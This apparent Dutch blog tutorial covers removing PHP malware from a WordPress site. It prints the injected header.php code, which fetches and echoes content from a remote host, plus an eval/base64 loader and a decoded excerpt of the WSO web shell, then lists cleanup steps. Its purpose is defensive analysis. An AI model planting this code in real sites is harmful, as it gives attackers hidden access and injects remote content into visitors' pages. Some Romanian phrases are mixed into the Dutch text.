Deze tutorial presenteert een specifiek geval waarin een WordPress-blog werd geïnfecteerd. Verwijder het WordPress PHP-virus.
inhoud
Onlangs merkte ik een verdachte code op die een PHP-virus voor WordPress lijkt te zijn. De volgende PHP-code was aanwezig in het header.php, vóór de lijn </head>.
<?php $wp_rssh = 'http'; $wp_gt = 'web'; error_reporting(0); ini_set('display_errors',0); $wp_uagent = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Firefox|MSIE/i', $wp_uagent) && preg_match ('/ NT/i', $wp_uagent))){
$wp_gturl=$wp_rssh."://".$wp_gt.$wp_rssh."s.com/".$wp_gt."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_uagent);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_gturl);
curl_setopt ($ch, CURLOPT_TIMEOUT, 10); $wp_cntnt = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_cntnt,1,3) === 'scr' ){ echo $wp_cntnt; } ?>
Dit is PHP-code die eruit ziet alsof hij de inhoud van een bron van een externe server probeert op te halen, maar het gedeelte dat naar de URL verwijst, is onvolledig.
Het werkingsmechanisme is wat complexer en maakt dit WordPress PHP Virus onzichtbaar voor de bezoekers van de getroffen sites. In plaats daarvan richt het zich op zoekmachines (Google) en leidt impliciet tot een aanzienlijke daling van het aantal bezoekers op de getroffen websites.
Details van WordPress PHP Virus-malware
1. De bovenstaande code is aanwezig in header.php.
2. Er verscheen een bestand op de server wp-log.php in de map wp-includes.
3. wp-log.php bevat een gecodeerde code, maar die relatief eenvoudig te decoderen is.
<?php eval(gzinflate(base64_decode('7b1rd../Fw=='))) ?>
Decodeer malwarecode van wp-log.php :
<?php
$auth_pass = "md5password";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
#+Dump Columns ////Boolean
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler" );
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
exit;
}
}
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');
if(get_magic_quotes_gpc()) {
function WSOstripslashes($array) {
return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
}
$_POST = WSOstripslashes($_POST);
$_COOKIE = WSOstripslashes($_COOKIE);
}
function wsoLogin() {
die("
<pre align=center-->
<form method="post"><input name="pass" type="password" /><input type="submit" value="" /></form>" );
}
function WSOsetcookie($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v);
}
if(!empty($auth_pass)) {
if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
wsoLogin();
}
if(strtolower(substr(PHP_OS,0,3)) == "win" )
$os = 'win';
else
$os = 'nix';
$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
error_reporting(0);
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
$home_cwd = str_replace("\\", "/", $home_cwd);
$cwd = str_replace("\\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
$cwd .= '/';
?>
Dit lijkt een kwaadaardig PHP-script te zijn dat code bevat om authenticatie en acties op bestanden en mappen op een server af te handelen. Het is heel gemakkelijk te zien dat dit script variabelen bevat zoals $auth_pass (parola de autentificare), $default_action (acțiunea implicită), $default_use_ajax (standaard met gebruik van Ajax) en $default_charset (standaard tekeninstelling).
Het is duidelijk dat dit script een sectie heeft die HTTP-gebruikersagenten controleert om de toegang tot bepaalde webbots, zoals zoekmachines, te blokkeren. Het heeft ook een sectie die de PHP-beveiligingsmodus controleert en bepaalde werkmappen instelt.
4. Als wp-log.php in de browser wordt geopend, verschijnt er een webpagina met een veld van authenticatie. Op het eerste gezicht lijkt het een bestandsbeheerder te zijn waarmee nieuwe bestanden eenvoudig naar de doelserver kunnen worden geüpload.
Wil je een website WordPress virusvrij maken?
Bij het handmatige de-virusproces moet altijd eerst worden ontdekt en begrepen wat de kwetsbaarheid is.
1. Genereer een back-up voor de gehele website. Dit moet zowel de bestanden als de database omvatten.
2. Bepaal hoe lang het virus ongeveer al bestaat en zoek binnen de geschatte tijd op de webserver naar gewijzigde of nieuw gemaakte bestanden.
Als u bijvoorbeeld de bestanden wilt zien .php gemaakt of gewijzigd in de afgelopen week, voert u de opdracht uit op de server:
find /your/web/path -type f -mtime -7 -exec ls -l {} \; | grep "\.php$"
Het is een eenvoudige methode waarmee u geïnfecteerde WordPress-bestanden en bestanden die malwarecode bevatten, kunt ontdekken.
3. Controleer het bestand .htaccess van verdachte richtlijnen. Machtigingen of scriptuitvoeringsregels.
4. Controleer de database. Het is heel goed mogelijk dat sommige WordPress-berichten en -pagina’s zijn bewerkt met malware of dat er nieuwe worden toegevoegd gebruikers met beheerdersrol.
5. Controleer de schrijfrechten voor mappen en bestanden. chmod En chown.
Aanbevolen machtigingen zijn: 644 voor bestanden en 755 voor mappen.
find /web/root/public/ -type f -exec chmod 644 {} \;
find /web/root/public/ -type d -exec chmod 755 {} \;
6. Alles bijwerken WordPress Plugins / WordPress Themes.
Verwant: Fix Redirect WordPress Hack 2023 (Virus Redirect)
Dit zijn methoden “eenvoudig” waarmee u een WordPress website/blog kunt de-virusen. Als je problemen hebt en hulp nodig hebt, is het commentaargedeelte geopend.